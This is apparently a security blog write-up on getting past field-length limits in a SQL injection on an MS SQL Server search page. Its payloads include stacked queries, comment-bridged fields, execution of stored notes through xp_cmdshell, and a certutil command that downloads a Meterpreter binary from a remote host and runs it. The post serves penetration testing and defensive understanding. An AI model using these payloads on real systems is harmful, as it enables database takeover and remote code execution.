Back
Limited Length SQL Injection
During application testing, most SQL injection attacks are mundane. Often, when there is one SQL injection, there are many–and they are easily exploitable with tools like sqlmap. Occasionally, an application is largely protected against SQL injection, but something interesting happens on a test.
A tester manually validates a SQL injection vulnerability based on server responses, knows the database, sqlmap supports the database–but sqlmap fails. Even manual exploitation begins to elicit error messages, but only on certain payloads. In this case, there may be a limited-length SQL injection. Due to developer-imposed constraints, requests may be truncated or simply fail as soon as a field length exceeds a certain parameter length. While there are commonly-known ways to bridge fields using comments, some restrictions exist as to where comments are allowed in a SQL query.
This blog entry covers an SQL injection vulnerability and how length restrictions were bypassed to execute arbitrary operating system commands.
How the Vulnerability was Discovered
The vulnerability discovery was straightforward. Although most of the application did not have SQL injection vulnerabilities, the advanced search page is always a great place to look. Even organizations that have mandates for parameterized queries or stored procedures may still have advanced search pages that are vulnerable to SQL injection. Advanced search pages often are forced to use dynamic SQL.
Users can search on one or several fields at a time, and developers do not write separate statements for all possible input combinations. This scenario results in a series of conditional statements in the code where developers check “did the user provide input for this field? If yes, add it to the where clause of the SQL statement. If no, continue to the next field.” Since user input may be used in the construction of a large text string, the application may be at risk for SQL injection if developers do not properly parameterize their query.
In a reproduction of the vulnerable application, a normal request returned a single database row:
The traditional ‘ or 1=1;– returned two rows:
Exploiting the Vulnerability
At this point, it was clear the site was vulnerable to SQL injection. Initially, sqlmap looked like a quick way to exploit the vulnerability:
Unfortunately, sqlmap could not quite finish the vulnerability off:
Using Wireshark to diagnose the issue, we can see the following request:
Fortunately, the application developers were kind enough to help out by returning verbose error messages:
In a browser, this is how the error message appeared:
This message indicated the error may have been due to field truncation after some unknown length. Since the application was written in .NET, sqlmap indicated Microsoft SQL Server, and error messages indicated Microsoft SQL Server, stacked queries should work. Stacked queries involve using a semicolon to delimit the query into two separate SQL queries. Since the initial SQL query for a first name search probably looked like this:
SELECT * FROM USERS WHERE FIRSTNAME LIKE ‘%INPUT%’
then a string such as
'; select 'a';--
resulted in a query that looked like this:
SELECT * FROM USERS WHERE FIRSTNAME LIKE ‘%’; select ‘a’;--%
By sending progressively longer strings using the Burp Intruder tool, we found that the SQL query began returning errors at 50 characters with the string:
'; select 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';--
not returning an error, but adding a single ‘a’ character, which began causing error messages.
What Causes Length Limitation on SQL Injection?
The first reason a field may be length-limited is due to developer restrictions in server-side code (client-side restrictions are not covered since these are easily bypassed using a web proxy). Regular expression validation or strict whitelisting of input is a better option than a simple length limitation, but those methods often prevent SQL injection entirely. Therefore, it was unlikely that either of these validation techniques was in use on the vulnerable application. The following code implements a length restriction in simple .NET code:
In this code snippet, a developer-assigned string is set as the error message, not a full stack trace. Even if the developer threw a .NET error, it would not contain references to the System.Data.SqlClient.SqlCommand library.
The second option was dynamic SQL generated in a stored procedure. Consider the following stored procedure declaration:
With a stored procedure, the parameters are validated before any database commands are run. The @LastName, @FirstName, and @ssn parameters all have length restrictions. If the stored procedure did not assemble dynamic SQL, then it would probably not be vulnerable to SQL injection. However, this stored procedure does not safely pass the parameters to the SQL query:
At the end of the stored procedure, the query runs using sp_executesql:
The database had no way to separate the developer’s SQL from the user input; resulting in SQL injection within the stored procedure. The parameter casts at the beginning of the stored procedure restricted the length of user input for each field.
Bridging Fields to Increase Length
With the mystery of length restrictions solved, the next step was to bridge multiple fields together to increase the amount of space available for exploits. A common method for this step is to use delimited comments with the /* and */ characters. Consider the text of our dynamic SQL from the stored procedure:
SELECT * from dbo.users WHERE firstname like ‘%%’ and lastname like ‘%%’
Both the @FirstName and @LastName field had a length restriction of 50 characters. Including /* and */ will create a comment in the middle of the SQL query. In creating the comment, the loss of four characters occurs, but there are now 96 usable characters instead of 50.With the comment, the SQL query looked as follows:
SELECT * from dbo.users WHERE firstname like ‘%/*%’ and lastname like ‘%*/%’
With the increased length restrictions, union-based or stacked SQL queries are now far more achievable. After retrieving database tables, a further step is to attempt code execution on the database server using xp_cmdshell. It was possible to run some operating system commands with xp_cmdshell even with a 50 character restriction. Providing a first name of the string:
'; exec xp_cmdshell 'ping 127.0.0.1';--
Then sent a stacked query to the database with the following form:
SELECT * from dbo.users WHERE firstname like ‘%'; exec xp_cmdshell 'ping 127.0.0.1';--%’
This action returned all rows in the user’s table and used xp_cmdshell to send 4 ping packets from the database server to itself. The server delayed a response while waiting for the ping to complete, letting the sender know that xp_cmdshell was enabled and it was possible to run arbitrary operating system commands. When trying to ping a longer address, such as a Burp Collaborator URL, the command fails. Microsoft SQL Server does not treat arguments to xp_cmdshell the same way as normal strings. In this case, the optimal use of space would be a comment after the xp_cmdshell function, but before the operating system command. This action allows a maximum command length of 45 characters.
Avoid Command Length Limits
The issue of limited command length in SQL injection is similar to the issue experienced with many overflow exploits. Only a short space is available for a payload before the system becomes unstable and the exploit fails or results in a denial of service instead of code execution. One solution with overflow exploits is to use an egg hunter. The premise of an egg hunter is to place the full payload in a different location where more space is available. Then, at the actual exploit position, provide only a small piece of code that can search memory for the full payload and then execute it. Searching the entire database for a payload like an egghunter does with memory may not be feasible with SQL injection, but is not necessary. Applications often disclose the primary key of a table, or a row can be located by searching for specific information in the payload. Even where this information is not readily visible, it can be extracted manually using the SQL injection vulnerability. In the example application, the note edit page had a query string parameter called “noteId” that directly referenced a note by its primary key value.
In apps restricting fields like first and last names, there are often less constrained fields, like “notes” or “log.” Here, the notes field allows up to 2,000 characters, offering ample space for payloads. The certutil command downloads a binary, allowing execution in a second command. The following OS command downloads and runs a Meterpreter binary:
certutil -urlcache -split -f https://c.local/m m.exe & m.exe
After creating a note with the operating system commands stored inside, all that remains is to read this value out and execute it. The SQL for this procedure is relatively simple:
declare @a VARCHAR(8000);
select @a = text from notes where noteId = 5;
exec xp_cmdshell @a;--
A Closer Look
The first line creates a variable ‘a’ with a length of 8,000 characters. The second line fills ‘a’ with the text field from the note with ID 5, and the third line executes the text as an OS command. While the first and third lines remain consistent across systems, the second line varies based on the note’s location. Omitting the where clause in the second line, if space is a concern, allows the database server to attempt executing every note as an OS command. Despite potential invalid commands, the server persists in trying all other rows.
Stack these SQL statements as the ‘a’ variable won’t persist through multiple requests. This query, split-friendly with /* */, includes VARCHAR/**/(8000). Comments can’t break xp_cmdshell, the longest element at 11 characters. Not all 8,000 characters are necessary for the certutil payload, so the following request will run the added certutil command:
First Name: ';declare @a VARCHAR(8000);select @a=text from/*
Last Name: */ notes where noteId=5;exec xp_cmdshell @a;--
The first name field allows 48 characters, and the last name field permits 45. Omitting the where clause allows the attack with just 30 characters in the last name field. Declaring the variable as VARCHAR(999) reduces the first name character count by 1 but limits the attack to only 1,000 characters.
Summary
Automated tools are fantastic for exploiting the majority of SQL injection vulnerabilities. However, some circumstances require a more tailored approach. Developers may intentionally or unintentionally place restrictions on the length of payloads on a SQL injection vulnerability.
Stored procedures that execute dynamically-generated SQL are one example of when length restrictions might appear in a request that is vulnerable to SQL injection. By writing operating system command payloads to other database fields, loading the database field into a variable, and running it with xp_cmdshell, security testers can minimize the impact of these restrictions.
03.21.19